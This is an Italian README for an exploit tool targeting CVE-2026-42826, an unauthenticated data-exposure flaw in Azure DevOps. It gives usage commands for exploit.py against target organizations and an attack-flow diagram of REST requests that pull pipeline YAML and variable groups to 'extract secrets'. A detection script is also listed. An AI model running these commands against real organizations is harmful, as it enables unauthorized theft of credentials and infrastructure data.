
Sfrutta CVE-2026-42826 per enumerare ed estrarre dati sensibili di Azure DevOps tramite richieste REST API non autenticate: YAML delle pipeline, gruppi di variabili, connessioni di servizio e log di build.
| Campo | Valore |
|---|
| CVE | CVE-2026-42826 |
| CVSS | 10.0 Critico (Microsoft) / 7.5 Alto (NVD) |
| CWE | CWE-200 (Esposizione di informazioni sensibili a un attore non autorizzato) |
| GHSA | GHSA-gmwx-3xm2-9fx8 |
| Interessati | Azure DevOps Services, Azure DevOps Server 2022/2025 |
| Corretto | Azure DevOps Server 2026.0.1+ (Services corretto lato server) |
| Scopritore | Noa Royzman (Microsoft) |
In determinate condizioni, Azure DevOps può servire configurazioni di pipeline, contenuti di gruppi di variabili e artefatti di build a richieste HTTP non autenticate. Un attaccante remoto invia richieste appositamente create all'API REST di Azure DevOps e riceve risposte JSON contenenti:
Non sono richieste credenziali quando il progetto di destinazione è configurato con visibilità pubblica, oppure quando un endpoint API interno non applica i controlli di autenticazione prima di restituire i dati.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 10.0 Critical
Le organizzazioni con progetti pubblici abilitati espongono repository, pipeline, artefatti ed elementi di lavoro a Internet non autenticato.
Alcuni endpoint API interni non applicano i controlli di autenticazione prima di restituire dati sensibili.
I file YAML delle pipeline dei progetti pubblici fanno riferimento per nome alle connessioni di servizio e ai gruppi di variabili, rivelando la struttura delle sottoscrizioni Azure, le destinazioni di distribuzione, gli URL dei registry e i nomi degli ambienti.
I metadati delle connessioni di servizio (ID delle sottoscrizioni Azure, ID dei tenant, ID dei cluster Kubernetes) sono esposti tramite l'API.
I valori delle variabili non segrete sono visibili nell'interfaccia utente, restituiti dall'API e stampati nei log di build.
I log di build possono contenere dati di configurazione sensibili, variabili d'ambiente e dettagli dell'infrastruttura.
| File | Scopo |
|---|---|
exploit.py | Exploit principale — 6 vettori di attacco, scansione dei segreti, generazione di report |
detect.py | Strumento di rilevamento e verifica dell'hardening per le istanze di Azure DevOps |
test_exploit.py | Test unitari (oltre 30 test che convalidano tutte le funzionalità dell'exploit) |
| Documento | Contenuto |
|---|---|
| USAGE.md | Guida all'uso dettagliata con istruzioni passo-passo |
| DIAGRAM.md | Diagrammi di struttura e visualizzazione del flusso di attacco |
# Check if organization has publicly exposed projects
python3 exploit.py -u https://dev.azure.com/targetorg
# Full exploitation with Personal Access Token
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT_TOKEN
# Target specific project
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT --project MyProject
# Save report to file
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT -o report.json
python3 exploit.py -u https://tfs.company.local/tfs/DefaultCollection --pat YOUR_PAT
python3 detect.py -u https://dev.azure.com/targetorg --pat YOUR_PAT
python3 test_exploit.py
Attacker Azure DevOps API
│ │
│ GET /_apis/projects │
│ (no auth) │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { projects: [...] } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ pipelines │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { YAML configs } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ variablegroups │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { variables: {...} } │
│ ◄────────────────────── │
│ │
│ Extract secrets, │
│ map infrastructure │
│ │
Vedi DIAGRAM.md per i diagrammi completi dell'architettura.
Code (Read) con scadenza di 90 giorniMIT